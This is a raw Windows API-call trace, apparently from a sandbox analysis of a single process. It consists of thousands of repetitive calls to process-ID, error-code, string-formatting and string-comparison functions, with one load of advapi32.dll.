[0031.705] SetLastError (dwErrCode=0x57) [0031.705] GetCurrentProcess () returned 0xffffffff [0031.705] GetLastError () returned 0x57 [0031.705] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4AF0P") returned 5 [0031.705] SetLastError (dwErrCode=0x57) [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcess () returned 0xffffffff [0031.705] GetLastError () returned 0x57 [0031.705] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4AF1P") returned 5 [0031.705] SetLastError (dwErrCode=0x57) [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetLastError () returned 0x57 [0031.705] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4AF2P") returned 5 [0031.705] SetLastError (dwErrCode=0x57) [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] lstrlenA (lpString="just string") returned 11 [0031.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.705] GetLastError () returned 0x57 [0031.705] lstrlenA (lpString="just string") returned 11 [0031.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.705] GetLastError () returned 0x57 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] lstrlenA (lpString="just string") returned 11 [0031.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.705] GetLastError () returned 0x57 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] lstrlenA (lpString="just string") returned 11 [0031.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.705] GetLastError () returned 0x57 [0031.705] GetLastError () returned 0x57 [0031.705] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.705] SetLastError (dwErrCode=0x57) [0031.705] GetCurrentProcess () returned 0xffffffff [0031.705] GetLastError () returned 0x57 [0031.705] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4BFEP") returned 5 [0031.705] SetLastError (dwErrCode=0x57) [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcess () returned 0xffffffff [0031.705] GetLastError () returned 0x57 [0031.705] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4BFFP") returned 5 [0031.705] SetLastError (dwErrCode=0x57) [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] GetLastError () returned 0x57 [0031.706] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4C00P") returned 5 [0031.706] SetLastError (dwErrCode=0x57) [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] lstrlenA (lpString="just string") returned 11 [0031.706] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.706] GetLastError () returned 0x57 [0031.706] GetCurrentProcess () returned 0xffffffff [0031.706] GetLastError () returned 0x57 [0031.706] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4C09P") returned 5 [0031.706] SetLastError (dwErrCode=0x57) [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] GetLastError () returned 0x57 [0031.706] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4C0AP") returned 5 [0031.706] SetLastError (dwErrCode=0x57) [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] GetCurrentProcessId () returned 0xb44 [0031.706] lstrlenA (lpString="just string") returned 11 [0031.706] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.706] GetLastError () returned 0x57 [0031.706] GetLastError () returned 0x57 [0032.786] CloseHandle (hObject=0xcc) returned 1 [0032.786] CloseHandle (hObject=0xd0) returned 1 [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] lstrlenA (lpString="just string") returned 11 [0032.786] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.786] GetLastError () returned 0xb7 [0032.786] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x756e0000 [0032.786] GetLastError () returned 0xb7 [0032.786] wsprintfA (in: param_1=0x3bfa13, param_2="%X%P" | out: param_1="1730AP") returned 6 [0032.786] SetLastError (dwErrCode=0xb7) [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] lstrlenA (lpString="just string") returned 11 [0032.786] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.786] GetLastError () returned 0xb7 [0032.786] lstrlenA (lpString="just string") returned 11 [0032.786] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.786] GetLastError () returned 0xb7 [0032.786] GetLastError () returned 0xb7 [0032.786] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0032.786] lstrlenA (lpString="just string") returned 11 [0032.786] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.786] GetLastError () returned 0xb7 [0032.786] GetLastError () returned 0xb7 [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] GetCurrentProcessId () returned 0xb44 [0032.786] lstrlenA (lpString="just string") returned 11 [0032.786] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.786] GetLastError () returned 0xb7 [0032.786] lstrlenA (lpString="just string") returned 11 [0032.786] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.786] GetLastError () returned 0xb7 [0032.786] GetCurrentProcess () returned 0xffffffff [0032.786] GetLastError () returned 0xb7 [0032.786] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17403P") returned 6 [0032.787] SetLastError (dwErrCode=0xb7) [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetLastError () returned 0xb7 [0032.787] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17404P") returned 6 [0032.787] SetLastError (dwErrCode=0xb7) [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] GetLastError () returned 0xb7 [0032.787] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17436P") returned 6 [0032.787] SetLastError (dwErrCode=0xb7) [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] GetLastError () returned 0xb7 [0032.787] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1744AP") returned 6 [0032.787] SetLastError (dwErrCode=0xb7) [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] GetLastError () returned 0xb7 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] lstrlenA (lpString="just string") returned 11 [0032.787] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.787] GetLastError () returned 0xb7 [0032.787] GetLastError () returned 0xb7 [0032.787] GetLastError () returned 0xb7 [0032.787] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17544P") returned 6 [0032.787] SetLastError (dwErrCode=0xb7) [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.787] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetLastError () returned 0xb7 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetCurrentProcess () returned 0xffffffff [0032.788] GetLastError () returned 0xb7 [0032.788] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1760BP") returned 6 [0032.788] SetLastError (dwErrCode=0xb7) [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetLastError () returned 0xb7 [0032.788] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1760CP") returned 6 [0032.788] SetLastError (dwErrCode=0xb7) [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetLastError () returned 0xb7 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] lstrlenA (lpString="just string") returned 11 [0032.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.788] GetLastError () returned 0xb7 [0032.788] GetCurrentProcess () returned 0xffffffff [0032.788] GetLastError () returned 0xb7 [0032.788] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17697P") returned 6 [0032.788] SetLastError (dwErrCode=0xb7) [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetLastError () returned 0xb7 [0032.788] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17698P") returned 6 [0032.788] SetLastError (dwErrCode=0xb7) [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.788] GetCurrentProcessId () returned 0xb44 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetLastError () returned 0xb7 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetCurrentProcess () returned 0xffffffff [0032.789] GetLastError () returned 0xb7 [0032.789] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17773P") returned 6 [0032.789] SetLastError (dwErrCode=0xb7) [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] GetLastError () returned 0xb7 [0032.789] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17774P") returned 6 [0032.789] SetLastError (dwErrCode=0xb7) [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetCurrentProcessId () returned 0xb44 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetLastError () returned 0xb7 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.789] GetLastError () returned 0xb7 [0032.789] lstrlenA (lpString="just string") returned 11 [0032.789] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.789] GetLastError () returned 0xb7 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetLastError () returned 0xb7 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetLastError () returned 0xb7 [0032.790] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17990P") returned 6 [0032.790] SetLastError (dwErrCode=0xb7) [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetLastError () returned 0xb7 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetLastError () returned 0xb7 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetCurrentProcess () returned 0xffffffff [0032.790] GetLastError () returned 0xb7 [0032.790] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="179DFP") returned 6 [0032.790] SetLastError (dwErrCode=0xb7) [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetLastError () returned 0xb7 [0032.790] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="179E0P") returned 6 [0032.790] SetLastError (dwErrCode=0xb7) [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] GetCurrentProcessId () returned 0xb44 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.790] GetLastError () returned 0xb7 [0032.790] lstrlenA (lpString="just string") returned 11 [0032.790] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.790] GetLastError () returned 0xb7 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetLastError () returned 0xb7 [0032.791] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17AD0P") returned 6 [0032.791] SetLastError (dwErrCode=0xb7) [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetLastError () returned 0xb7 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetCurrentProcess () returned 0xffffffff [0032.791] GetLastError () returned 0xb7 [0032.791] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17BABP") returned 6 [0032.791] SetLastError (dwErrCode=0xb7) [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetLastError () returned 0xb7 [0032.791] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17BACP") returned 6 [0032.791] SetLastError (dwErrCode=0xb7) [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] GetCurrentProcessId () returned 0xb44 [0032.791] lstrlenA (lpString="just string") returned 11 [0032.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.791] GetLastError () returned 0xb7 [0032.791] GetLastError () returned 0xb7 [0032.791] GetCurrentProcess () returned 0xffffffff [0032.791] GetLastError () returned 0xb7 [0032.792] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17C37P") returned 6 [0032.792] SetLastError (dwErrCode=0xb7) [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetLastError () returned 0xb7 [0032.792] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17C38P") returned 6 [0032.792] SetLastError (dwErrCode=0xb7) [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] lstrlenA (lpString="just string") returned 11 [0032.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.792] GetLastError () returned 0xb7 [0032.792] GetLastError () returned 0xb7 [0032.792] lstrlenA (lpString="just string") returned 11 [0032.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.792] GetLastError () returned 0xb7 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] lstrlenA (lpString="just string") returned 11 [0032.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.792] GetLastError () returned 0xb7 [0032.792] GetCurrentProcess () returned 0xffffffff [0032.792] GetLastError () returned 0xb7 [0032.792] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17CCDP") returned 6 [0032.792] SetLastError (dwErrCode=0xb7) [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetLastError () returned 0xb7 [0032.792] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17CCEP") returned 6 [0032.792] SetLastError (dwErrCode=0xb7) [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] lstrlenA (lpString="just string") returned 11 [0032.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.792] GetLastError () returned 0xb7 [0032.792] GetLastError () returned 0xb7 [0032.792] lstrlenA (lpString="just string") returned 11 [0032.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.792] GetLastError () returned 0xb7 [0032.792] GetLastError () returned 0xb7 [0032.792] GetLastError () returned 0xb7 [0032.792] GetLastError () returned 0xb7 [0032.792] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17DA0P") returned 6 [0032.792] SetLastError (dwErrCode=0xb7) [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] lstrlenA (lpString="just string") returned 11 [0032.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.792] GetLastError () returned 0xb7 [0032.792] GetLastError () returned 0xb7 [0032.792] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17DB4P") returned 6 [0032.792] SetLastError (dwErrCode=0xb7) [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] GetCurrentProcessId () returned 0xb44 [0032.792] lstrlenA (lpString="just string") returned 11 [0032.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] GetLastError () returned 0xb7 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] GetCurrentProcess () returned 0xffffffff [0032.793] GetLastError () returned 0xb7 [0032.793] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17F43P") returned 6 [0032.793] SetLastError (dwErrCode=0xb7) [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetLastError () returned 0xb7 [0032.793] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17F44P") returned 6 [0032.793] SetLastError (dwErrCode=0xb7) [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] GetCurrentProcess () returned 0xffffffff [0032.793] GetLastError () returned 0xb7 [0032.793] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17F6BP") returned 6 [0032.793] SetLastError (dwErrCode=0xb7) [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetLastError () returned 0xb7 [0032.793] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17F6CP") returned 6 [0032.793] SetLastError (dwErrCode=0xb7) [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.793] GetLastError () returned 0xb7 [0032.793] GetLastError () returned 0xb7 [0032.793] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17FA8P") returned 6 [0032.793] SetLastError (dwErrCode=0xb7) [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] GetCurrentProcessId () returned 0xb44 [0032.793] lstrlenA (lpString="just string") returned 11 [0032.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.794] GetLastError () returned 0xb7 [0032.794] GetCurrentProcess () returned 0xffffffff [0032.794] GetLastError () returned 0xb7 [0032.794] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17FBBP") returned 6 [0032.794] SetLastError (dwErrCode=0xb7) [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetLastError () returned 0xb7 [0032.794] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17FBCP") returned 6 [0032.794] SetLastError (dwErrCode=0xb7) [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] lstrlenA (lpString="just string") returned 11 [0032.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 